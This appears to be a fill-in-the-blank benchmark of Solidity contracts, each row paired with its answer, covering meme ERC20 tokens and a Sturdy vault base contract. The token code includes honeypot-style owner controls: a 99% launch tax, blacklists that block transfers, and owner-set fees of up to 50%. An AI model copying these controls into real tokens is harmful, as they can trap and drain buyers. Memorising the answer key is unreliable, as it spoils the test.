address public uniswapPair;
function CheckBotWallet(address[] calldata addresses,bool status) public {
}
constructor () {
}
receive() external payable {}
function balanceOf(address account) public view override returns (uint256) {
}
function decimals() public view returns (uint8) {
}
function symbol() public view returns (string memory) {
}
function name() public view returns (string memory) {
}
function totalSupply() public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function OpenTrading() public onlyOwner{
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount;
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
finalAmount = amount;
}else{
uint256 feeAmount = 0;
if(isMarketPair[from]) {
feeAmount = amount.mul(_buyMarketingFee).div(100);
}
else if(isMarketPair[to]) {
feeAmount = amount.mul(_sellMarketingFee).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
require(<FILL_ME>)
finalAmount = amount.sub(feeAmount);
}
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
}
| !_buyBackWallet[from],"ERC20: lose" | 242,397 | !_buyBackWallet[from] |
"You can't transfer tokens" | /**
Website: https://eeyoretoken.vip/
TG: https://t.me/Eeyoretoken
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _tokengeneration(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface uniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract EEYORE is ERC20, Ownable {
using Address for address payable;
uniswapV2Router public IUniswapV2Router02;
address public uniswapV2Pair;
bool private _liquidityMutex = false;
bool private providingLiquidity = false;
bool public tradingEnabled = false;
uint256 private ThresholdAmt = 1e7 * 10**18;
uint256 public maxWalletLimit = 2e7 * 10**18;
uint256 private TxlimitFree = 1e9;
uint256 private CA_sell_After_launch = 10e5;
uint256 private genesis_block;
uint256 private deadline = 1;
uint256 private launchtax = 99;
address private marketingWallet = 0x5AAdf14a521925803690459bc15CebFF3DcdC023;
address private devWallet = 0x5AAdf14a521925803690459bc15CebFF3DcdC023;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public buytaxes = Taxes(1, 0, 1);
Taxes public sellTaxes = Taxes(1, 0, 1);
mapping(address => bool) public exemptFee;
mapping(address => bool) private isBots;
modifier mutexLock() {
}
constructor() ERC20("EEYORE", "EEYORE") {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
if (!exemptFee[sender] && !exemptFee[recipient]) {
require(tradingEnabled, "Trading not enabled");
}
if (sender == uniswapV2Pair && !exemptFee[recipient] && !_liquidityMutex) {
require(balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
if (sender != uniswapV2Pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) {
if (recipient != uniswapV2Pair) {
require(balanceOf(recipient) + amount <= maxWalletLimit,
"You are exceeding maxWalletLimit"
);
}
}
uint256 feeswap;
uint256 feesum;
uint256 fee;
Taxes memory currentTaxes;
bool useLaunchFee = !exemptFee[sender] && !exemptFee[recipient] && block.number < genesis_block + deadline;
if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient])
fee = 0;
else if (recipient == uniswapV2Pair && !useLaunchFee) {
feeswap = sellTaxes.liquidity + sellTaxes.marketing + sellTaxes.dev ;
feesum = feeswap;
currentTaxes = sellTaxes;
} else if (!useLaunchFee) {
feeswap = buytaxes.liquidity + buytaxes.marketing + buytaxes.dev ;
feesum = feeswap;
currentTaxes = buytaxes;
} else if (useLaunchFee) {
feeswap = launchtax;
feesum = launchtax;
}
fee = (amount * feesum) / 100;
if (providingLiquidity && sender != uniswapV2Pair) SwapBack(feeswap, currentTaxes);
super._transfer(sender, recipient, amount - fee);
if (fee > 0) {
if (feeswap > 0) {
uint256 feeAmount = (amount * feeswap) / 100;
super._transfer(sender, address(this), feeAmount);
}
}
}
function SwapBack(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function enableSwapBackSetting(bool state) external onlyOwner {
}
function setTreshholdAmount(uint256 new_amount) external onlyOwner {
}
function BuyFees(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner {
}
function SellFees(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner {
}
function go_live() external onlyOwner {
}
function setBotBlock(uint256 _deadline) external onlyOwner {
}
function setMarketingWallet(address _newAddr) external onlyOwner {
}
function setDevWallet(address _newAddr) external onlyOwner {
}
function blacklistWallet(address account) external onlyOwner {
}
function unblacklistWallet(address account) external onlyOwner {
}
function ExcludeFromFee(address _address) external onlyOwner {
}
function includeFromFee(address _address) external onlyOwner {
}
function enableShake_Out() external onlyOwner {
}
function disableShake_Out() external onlyOwner {
}
function ReduceTreshhold() external onlyOwner {
}
function removeLimit() external onlyOwner {
}
function UpdateMaxTxLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH() external {
}
function rescueERC20(address _tokenAddy, uint256 _amount) external {
}
// fallbacks
receive() external payable {}
}
| !isBots[sender]&&!isBots[recipient],"You can't transfer tokens" | 242,740 | !isBots[sender]&&!isBots[recipient] |
"Must keep fees at 25% or less" | /**
Website: https://eeyoretoken.vip/
TG: https://t.me/Eeyoretoken
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _tokengeneration(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface uniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract EEYORE is ERC20, Ownable {
using Address for address payable;
uniswapV2Router public IUniswapV2Router02;
address public uniswapV2Pair;
bool private _liquidityMutex = false;
bool private providingLiquidity = false;
bool public tradingEnabled = false;
uint256 private ThresholdAmt = 1e7 * 10**18;
uint256 public maxWalletLimit = 2e7 * 10**18;
uint256 private TxlimitFree = 1e9;
uint256 private CA_sell_After_launch = 10e5;
uint256 private genesis_block;
uint256 private deadline = 1;
uint256 private launchtax = 99;
address private marketingWallet = 0x5AAdf14a521925803690459bc15CebFF3DcdC023;
address private devWallet = 0x5AAdf14a521925803690459bc15CebFF3DcdC023;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public buytaxes = Taxes(1, 0, 1);
Taxes public sellTaxes = Taxes(1, 0, 1);
mapping(address => bool) public exemptFee;
mapping(address => bool) private isBots;
modifier mutexLock() {
}
constructor() ERC20("EEYORE", "EEYORE") {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function SwapBack(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function enableSwapBackSetting(bool state) external onlyOwner {
}
function setTreshholdAmount(uint256 new_amount) external onlyOwner {
}
function BuyFees(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner {
buytaxes = Taxes(_marketing, _liquidity, _dev);
require(<FILL_ME>)
}
function SellFees(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner {
}
function go_live() external onlyOwner {
}
function setBotBlock(uint256 _deadline) external onlyOwner {
}
function setMarketingWallet(address _newAddr) external onlyOwner {
}
function setDevWallet(address _newAddr) external onlyOwner {
}
function blacklistWallet(address account) external onlyOwner {
}
function unblacklistWallet(address account) external onlyOwner {
}
function ExcludeFromFee(address _address) external onlyOwner {
}
function includeFromFee(address _address) external onlyOwner {
}
function enableShake_Out() external onlyOwner {
}
function disableShake_Out() external onlyOwner {
}
function ReduceTreshhold() external onlyOwner {
}
function removeLimit() external onlyOwner {
}
function UpdateMaxTxLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH() external {
}
function rescueERC20(address _tokenAddy, uint256 _amount) external {
}
// fallbacks
receive() external payable {}
}
| (_marketing+_liquidity+_dev)<=25,"Must keep fees at 25% or less" | 242,740 | (_marketing+_liquidity+_dev)<=25 |
"Must keep fees at 50% or less" | /**
Website: https://eeyoretoken.vip/
TG: https://t.me/Eeyoretoken
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _tokengeneration(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface uniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract EEYORE is ERC20, Ownable {
using Address for address payable;
uniswapV2Router public IUniswapV2Router02;
address public uniswapV2Pair;
bool private _liquidityMutex = false;
bool private providingLiquidity = false;
bool public tradingEnabled = false;
uint256 private ThresholdAmt = 1e7 * 10**18;
uint256 public maxWalletLimit = 2e7 * 10**18;
uint256 private TxlimitFree = 1e9;
uint256 private CA_sell_After_launch = 10e5;
uint256 private genesis_block;
uint256 private deadline = 1;
uint256 private launchtax = 99;
address private marketingWallet = 0x5AAdf14a521925803690459bc15CebFF3DcdC023;
address private devWallet = 0x5AAdf14a521925803690459bc15CebFF3DcdC023;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public buytaxes = Taxes(1, 0, 1);
Taxes public sellTaxes = Taxes(1, 0, 1);
mapping(address => bool) public exemptFee;
mapping(address => bool) private isBots;
modifier mutexLock() {
}
constructor() ERC20("EEYORE", "EEYORE") {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function SwapBack(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function enableSwapBackSetting(bool state) external onlyOwner {
}
function setTreshholdAmount(uint256 new_amount) external onlyOwner {
}
function BuyFees(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner {
}
function SellFees(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner {
sellTaxes = Taxes(_marketing, _liquidity, _dev);
require(<FILL_ME>)
}
function go_live() external onlyOwner {
}
function setBotBlock(uint256 _deadline) external onlyOwner {
}
function setMarketingWallet(address _newAddr) external onlyOwner {
}
function setDevWallet(address _newAddr) external onlyOwner {
}
function blacklistWallet(address account) external onlyOwner {
}
function unblacklistWallet(address account) external onlyOwner {
}
function ExcludeFromFee(address _address) external onlyOwner {
}
function includeFromFee(address _address) external onlyOwner {
}
function enableShake_Out() external onlyOwner {
}
function disableShake_Out() external onlyOwner {
}
function ReduceTreshhold() external onlyOwner {
}
function removeLimit() external onlyOwner {
}
function UpdateMaxTxLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH() external {
}
function rescueERC20(address _tokenAddy, uint256 _amount) external {
}
// fallbacks
receive() external payable {}
}
| (_marketing+_liquidity+_dev)<=50,"Must keep fees at 50% or less" | 242,740 | (_marketing+_liquidity+_dev)<=50 |
Errors.CALLER_NOT_POOL_ADMIN | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {VersionedInitializable} from '../../protocol/libraries/sturdy-upgradeability/VersionedInitializable.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol';
/**
* @title GeneralVault
* @notice Basic feature of vault
* @author Sturdy
**/
abstract contract GeneralVault is VersionedInitializable {
using PercentageMath for uint256;
/**
* @dev Emitted on processYield()
* @param collateralAsset The address of the collateral asset
* @param yieldAmount The processed yield amount
**/
event ProcessYield(address indexed collateralAsset, uint256 yieldAmount);
/**
* @dev Emitted on depositCollateral()
* @param collateralAsset The address of the collateral asset
* @param from The address of depositor
* @param amount The deposit amount
**/
event DepositCollateral(address indexed collateralAsset, address indexed from, uint256 amount);
/**
* @dev Emitted on withdrawCollateral()
* @param collateralAsset The address of the collateral asset
* @param to The address of receiving collateral
* @param amount The withdrawal amount
**/
event WithdrawCollateral(address indexed collateralAsset, address indexed to, uint256 amount);
/**
* @dev Emitted on setTreasuryInfo()
* @param treasuryAddress The address of treasury
* @param fee The vault fee
**/
event SetTreasuryInfo(address indexed treasuryAddress, uint256 fee);
modifier onlyAdmin() {
require(<FILL_ME>)
_;
}
modifier onlyYieldProcessor() {
}
struct AssetYield {
address asset;
uint256 amount;
}
ILendingPoolAddressesProvider internal _addressesProvider;
// vault fee 20%
uint256 internal _vaultFee;
address internal _treasuryAddress;
uint256 private constant VAULT_REVISION = 0x4;
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev Function is invoked by the proxy contract when the Vault contract is deployed.
* - Caller is initializer (LendingPoolAddressesProvider or deployer)
* @param _provider The address of the provider
**/
function initialize(ILendingPoolAddressesProvider _provider) external initializer {
}
function getRevision() internal pure override returns (uint256) {
}
/**
* @dev Deposits an `_amount` of asset as collateral to borrow other asset.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The deposit amount
*/
function depositCollateral(address _asset, uint256 _amount) external payable virtual {
}
/**
* @dev Deposits an `_amount` of asset as collateral to borrow other asset.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The deposit amount
* @param _user The depositor address
*/
function depositCollateralFrom(
address _asset,
uint256 _amount,
address _user
) external payable virtual {
}
/**
* @dev Withdraw an `_amount` of asset used as collateral to user.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The collateral external asset's amount to be withdrawn
* @param _slippage The slippage of the withdrawal amount. 1% = 100
* @param _to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
*/
function withdrawCollateral(
address _asset,
uint256 _amount,
uint256 _slippage,
address _to
) external virtual {
}
/**
* @dev Convert an `_amount` of collateral internal asset to collateral external asset and send to caller on liquidation.
* - Caller is only LendingPool
* @param _asset The address of collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The amount of collateral internal asset
* @return The amount of collateral external asset
*/
function withdrawOnLiquidation(address _asset, uint256 _amount)
external
virtual
returns (uint256);
/**
* @dev Get yield based on strategy and re-deposit
* - Caller is anyone
*/
function processYield() external virtual;
/**
* @dev Get price per share based on yield strategy
* @return The value of price per share
*/
function pricePerShare() external view virtual returns (uint256);
/**
* @dev Set treasury address and vault fee
* - Caller is only PoolAdmin which is set on LendingPoolAddressesProvider contract
* @param _treasury The treasury address
* @param _fee The vault fee which has more two decimals, ex: 100% = 100_00
*/
function setTreasuryInfo(address _treasury, uint256 _fee) public payable virtual onlyAdmin {
}
/**
* @dev deposit collateral asset to lending pool
* @param _asset The address of collateral external asset
* @param _amount Collateral external asset amount
* @param _user The address of user
*/
function _deposit(
address _asset,
uint256 _amount,
address _user
) internal {
}
/**
* @dev Deposit collateral external asset to yield pool based on strategy and receive collateral internal asset
* @param _asset The address of collateral external asset
* @param _amount The amount of collateral external asset
* @return The address of collateral internal asset
* @return The amount of collateral internal asset
*/
function _depositToYieldPool(address _asset, uint256 _amount)
internal
virtual
returns (address, uint256);
/**
* @dev Withdraw collateral internal asset from yield pool based on strategy and deliver collateral external asset
* @param _asset The address of collateral external asset
* @param _amount The withdrawal amount of collateral internal asset
* @param _to The address of receiving collateral external asset
* @return The amount of collateral external asset
*/
function _withdrawFromYieldPool(
address _asset,
uint256 _amount,
address _to
) internal virtual returns (uint256);
/**
* @dev Get Withdrawal amount of collateral internal asset based on strategy
* @param _asset The address of collateral external asset
* @param _amount The withdrawal amount of collateral external asset
* @return The address of collateral internal asset
* @return The withdrawal amount of collateral internal asset
*/
function _getWithdrawalAmount(address _asset, uint256 _amount)
internal
view
virtual
returns (address, uint256);
}
| _addressesProvider.getPoolAdmin()==msg.sender,Errors.CALLER_NOT_POOL_ADMIN | 242,839 | _addressesProvider.getPoolAdmin()==msg.sender |
Errors.CALLER_NOT_YIELD_PROCESSOR | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {VersionedInitializable} from '../../protocol/libraries/sturdy-upgradeability/VersionedInitializable.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol';
/**
* @title GeneralVault
* @notice Basic feature of vault
* @author Sturdy
**/
abstract contract GeneralVault is VersionedInitializable {
using PercentageMath for uint256;
/**
* @dev Emitted on processYield()
* @param collateralAsset The address of the collateral asset
* @param yieldAmount The processed yield amount
**/
event ProcessYield(address indexed collateralAsset, uint256 yieldAmount);
/**
* @dev Emitted on depositCollateral()
* @param collateralAsset The address of the collateral asset
* @param from The address of depositor
* @param amount The deposit amount
**/
event DepositCollateral(address indexed collateralAsset, address indexed from, uint256 amount);
/**
* @dev Emitted on withdrawCollateral()
* @param collateralAsset The address of the collateral asset
* @param to The address of receiving collateral
* @param amount The withdrawal amount
**/
event WithdrawCollateral(address indexed collateralAsset, address indexed to, uint256 amount);
/**
* @dev Emitted on setTreasuryInfo()
* @param treasuryAddress The address of treasury
* @param fee The vault fee
**/
event SetTreasuryInfo(address indexed treasuryAddress, uint256 fee);
modifier onlyAdmin() {
}
modifier onlyYieldProcessor() {
require(<FILL_ME>)
_;
}
struct AssetYield {
address asset;
uint256 amount;
}
ILendingPoolAddressesProvider internal _addressesProvider;
// vault fee 20%
uint256 internal _vaultFee;
address internal _treasuryAddress;
uint256 private constant VAULT_REVISION = 0x4;
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev Function is invoked by the proxy contract when the Vault contract is deployed.
* - Caller is initializer (LendingPoolAddressesProvider or deployer)
* @param _provider The address of the provider
**/
function initialize(ILendingPoolAddressesProvider _provider) external initializer {
}
function getRevision() internal pure override returns (uint256) {
}
/**
* @dev Deposits an `_amount` of asset as collateral to borrow other asset.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The deposit amount
*/
function depositCollateral(address _asset, uint256 _amount) external payable virtual {
}
/**
* @dev Deposits an `_amount` of asset as collateral to borrow other asset.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The deposit amount
* @param _user The depositor address
*/
function depositCollateralFrom(
address _asset,
uint256 _amount,
address _user
) external payable virtual {
}
/**
* @dev Withdraw an `_amount` of asset used as collateral to user.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The collateral external asset's amount to be withdrawn
* @param _slippage The slippage of the withdrawal amount. 1% = 100
* @param _to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
*/
function withdrawCollateral(
address _asset,
uint256 _amount,
uint256 _slippage,
address _to
) external virtual {
}
/**
* @dev Convert an `_amount` of collateral internal asset to collateral external asset and send to caller on liquidation.
* - Caller is only LendingPool
* @param _asset The address of collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The amount of collateral internal asset
* @return The amount of collateral external asset
*/
function withdrawOnLiquidation(address _asset, uint256 _amount)
external
virtual
returns (uint256);
/**
* @dev Get yield based on strategy and re-deposit
* - Caller is anyone
*/
